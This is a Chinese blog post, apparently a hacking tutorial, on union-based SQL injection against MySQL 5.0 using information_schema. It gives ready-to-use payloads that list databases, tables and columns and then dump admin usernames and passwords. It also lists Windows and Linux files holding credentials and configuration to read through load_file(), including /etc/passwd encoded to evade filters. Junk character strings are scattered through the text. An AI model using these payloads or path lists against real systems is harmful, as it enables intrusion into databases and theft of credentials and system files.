mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


% U) z# G- g' x: p
( ~- X$ T4 e4 V. v/ R# K- ?1 vMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
# G, S( j' Z, {" s中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
' d* d4 V) T4 w" n9 {8 g1 p  i1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
6 G0 S& t+ V. Q% u9 s
6 n0 ?5 b6 U0 D|TABLES ->存储表名
- R7 h$ c% u9 s2 Q|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
' G9 x) a  L) ~8 t0 O; }|—字段：TABLE_NAME ->存储表的表名
- W! v9 _1 @" U1 }5 o& u- p
9 w4 I: [: }0 A/ M: \  O4 \. Y5 z* d|COLUMNS ->存储的字段名表
+ t6 A8 Y9 T4 J: ]$ x8 a|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

: O/ `6 U8 j# n|—字段：COLUMN_NAME ->该字段的名称
5 G; J* C" k5 c8 E0 Q" o9 j
#########################################################################
##
* M6 K5 S/ ^& d( Q
0×001 获取系统信息:
, l2 C4 s. s/ E# ]+ ?
1 I1 c: S) F- C1 F9 |, ]union select 1,2,3,4,5,concat
9 E. k+ O  a; F6 l6 F7 P, h(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
) ]( T. k9 t6 N1 \: W: j& l) a7 t(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
6 H4 W* _0 _, ]+ y) V8 |
- k  c( n' ^& ?" e* t  T8 k3 ~4 J/*
% u' [5 w' p* a1 M8 I
@@global.version_compile_os 获取系统版本
6 J' ~/ G  M+ u2 `6 J
  q7 Q! [) S  y% b@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
/ L' P* [. F: l2 x
* ^6 F, a' e7 d- \*/

######################################################################
2 D% G, n' T) m6 ~' o
; |" |" Z7 A; Y: I" W9 r0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

/*

9 ?* t9 t( `: i- b0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
# V& P+ a0 d) B' D" }" X/ j
& P# k& I6 I/ T- W% }7 V######################################################################
0 v) T, o, P4 r. t6 B+ |, n
0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
( s% D( @6 T5 F+ u3 y4 d, E+ Pinformation_schema.columns where table_name=0x61646d696e and
. u, O1 [" u8 Y+ k

table_schema=0x67617264656e limit 1 /*
6 U* C: y, J* |3 @7 u
$ H3 b& @+ G* r9 \# `, h+ n/ b/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
: r$ T* r) h4 Q) @4 D. E* _! o$ I1 d
3 z& l* P% O" b. u$ z! L' d) `0x61646d696e ->选择一个表

% z# Z& ]' B" A4 j6 |0x67617264656e ->数据库名

1 L1 Q3 z6 m8 F* y/ [*/

" F! T! E! U! `" F4 I* t: q#####################################################################

0×004 获取数据
! o% O1 [4 n9 g
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
( ~# R' M9 o4 Z, p
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
! h& D3 B8 L. Z4 d% W+ k
/*

5 S6 d' ]$ l4 }* [5 m/ P2 d5 _0x3c62723e 换行符号HEX编码
6 F) Y, }) \' z* J& U, B* F
group_concat 同时获得该字段所有数据
# f- d; c' U* f$ B( Y; Q( T
*/
: I5 D# U/ E# S1 T2 f

( @9 q& K8 \" _/ ~6 s( e  z

# j' W" l) |, ]) J. h6 {
顺便添加一些mysql注入时非常有用的一些东西
! k; `# X& ^. _* P' Y
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
/ K# r0 x. S3 }+ c8 n' F2:user()        用户名
( h/ r$ U  x+ ?9 O5 y3:current_user()  当前用户名
8 @( M9 B5 u) i6 h( X9 ^6 N) v4:session_user()连接数据库的用户名
- G7 `: I. y0 L3 e. k1 Z5:database()    数据库名
7 e) C4 [, I( n" i6:version()     MYSQL数据库版本
# v  r: q9 M+ ]( Z* J* r7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
& Z0 r1 c) m/ x9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
: H- k7 I4 j; H: y: {收集的一些路径：
WINDOWS下:
3 U& w" ^3 A! |c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
6 |; t7 N4 v, ~. Y6 D. I; _! Lc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
7 N$ @3 o# R8 v4 r; t  x3 Zc:/winnt/php.ini
& k6 Z  D. E  f% ?% [- l1 _c:/winnt/my.ini
- R7 y( L4 u4 J. \8 k: Fc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
* t$ `7 K/ @% s: O- F( Bc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
5 S/ U  c! }! f) ^: Uc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
& ]: u4 b% x- X' Z5 T0 X, o7 S0 G% Ic:\Program Files\RhinoSoft.com\ServUDaemon.exe
( v7 T- ^0 E: j( n" aC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
- E' {) r  P& x3 Jc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


$ I8 `0 y# g+ h, y$ r1 fc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
- o6 x" E) K+ r0 R; G4 XC:\Program Files\mysql\my.ini
% `' _9 D  @4 dc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  j" n# n7 o( O% e, e2 N/ ^
  K: m, s  U( _( r; pLUNIX/UNIX下:
) I0 Q. F( ?7 I8 ~7 r6 j/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
4 ~  {/ s) R: o. ^5 q& u' h. y/usr/local/apache2/conf/httpd.conf
9 ?, t% e3 Z7 M/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
9 L) d5 o* \% }. G+ y/etc/sysconfig/iptables //从中得到防火墙规则策略
. t: D7 ]' P8 i( ?/etc/httpd/conf/httpd.conf // apache配置文件
) n- T: Q; B5 T; a/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
) E/ k% P+ a' O7 x) b3 U* J/etc/issue
6 M2 s' y! ]) \6 U% T* g1 q/etc/issue.net
; @  h6 I# c* A" t" K* p' l/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
* f+ P' N6 |2 h7 i/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
% D# n, P2 o# ]- D8 w/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
+ U- D% Q. w) h* ~/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
9 P# B3 e. w8 ^! ]/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
' E" }# P$ ^2 E* l$ ]( L5 @0 e/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
" G$ t3 g% @% ^5 f7 R' S9 A/ \/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
: W$ m  R3 z( O& A  V  x/etc/sysconfig/iptables 查看防火墙策略
4 e) N7 S7 I" M, U# Cload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
7 ^7 g6 A# B7 P/ V2 ~- I% C' B# U
* A4 w8 ^5 z; f+ Y% ^